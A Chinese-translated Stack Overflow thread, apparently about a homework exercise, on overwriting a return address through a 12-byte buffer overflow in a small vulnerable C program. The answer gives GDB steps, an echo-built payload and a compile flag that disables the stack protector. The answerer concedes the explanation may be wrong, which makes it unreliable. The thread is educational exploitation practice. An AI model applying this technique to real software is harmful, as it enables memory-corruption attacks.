【问题标题】:Return address from separate function when exploiting buffer vulnerability利用缓冲区漏洞时从单独的函数返回地址
【发布时间】:2015-04-07 18:46:07
【问题描述】:

我必须使用一串 shell 操作码来利用下面代码中的缓冲区漏洞。我几乎看过 Google 的所有建议,但由于功能分离,这个特殊问题让我感到困惑。

void printThis(){
   if(printf("You did it 1!") >=0) exit(0);
   if(printf("You did it 2!") >=0) exit(0);
   if(printf("You did it 3!") >=0) exit(0);
}

void readIn(FILE *f){
   char exploit[12];
   int i;

   fscanf(f, "%s", exploit);

   for( i = 0; i < 12; i++){
      printf("%c", exploit[i]);
   }

   printf("\"\n");

}

int main(int argc, char** argv){
   FILE *fp;
   fp = fopen(argv[1], "r");

   readIn(fp);
   fclose(fp);
   printf("You suck at exploiting. I should not be printed.");

}

我很好奇如何使用printThis() 中的语句的返回地址溢出readIn() 中的缓冲区,因为它们使用不同的堆栈。直觉说,跳转到 print 调用会起作用,但我无法让它起作用。

对于获取 GDB 中有效负载所需的信息有什么建议吗?感谢您的帮助!

【问题讨论】:

  • 我猜你需要溢出exploit直到readIn的堆栈帧的返回地址被printThis函数的地址替换。如何做到这一点取决于构建程序的架构
  • 我明白@Diego。假设 printThis 函数中有 100 个 printf 语句,我想返回 if 语句中的特定字符串。我需要手动插入字符串还是可以返回存储数据的地址?谢谢。
  • 我认为您不能只是跳到函数的中间并期望它起作用。通常包含设置堆栈相关寄存器等的序言。除非堆栈当然是可执行的,并且您在有效负载中执行此操作。但这一切都取决于实际的机器代码。 C 源代码不太相关。
  • @SeanBright 那行不通。 fscanf 将在第一个零字符处停止加载缓冲区(据我了解,它读取的是 c 字符串)
  • 谢谢你,@SeanBright。为什么使用 12 Null(我必须使用 NOPS)值?

标签: c gdb buffer-overflow stack-smash


【解决方案1】:

启动每个人最喜欢的调试器:

$ gdb myprog

拆机printThis

$ 反汇编 printThis

获取你要调用的指令的地址,在我的例子中是0x0000000000400758。创建一个输入文件,输入12个字符填充exploit,另外12个NUL字节,然后是你想要的返回地址:

$ echo -e "abcdabcdabcd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x58\x07\x40" > input.txt

(请注意,字节与我们实际想要的相反)。使用输入文件运行测试:

$ ./myprog 输入.txt abcdabcdabcd" 你做到了3!

相信这 12 个 NUL 字节同时覆盖了 if(4 字节 int,x86_64 上的 8 字节指针)但我也不知道我在做什么或在谈论什么,所以这个解释可能完全是假的。

另外,我必须像这样编译myprog

$ gcc -fno-stack-protector -g myprog.c -o myprog

否则我会得到堆栈粉碎检测崩溃而不是所需的输出。

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 2021-11-30
    • 2013-05-23
    • 2014-02-05
    • 1970-01-01
    • 2016-06-04
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多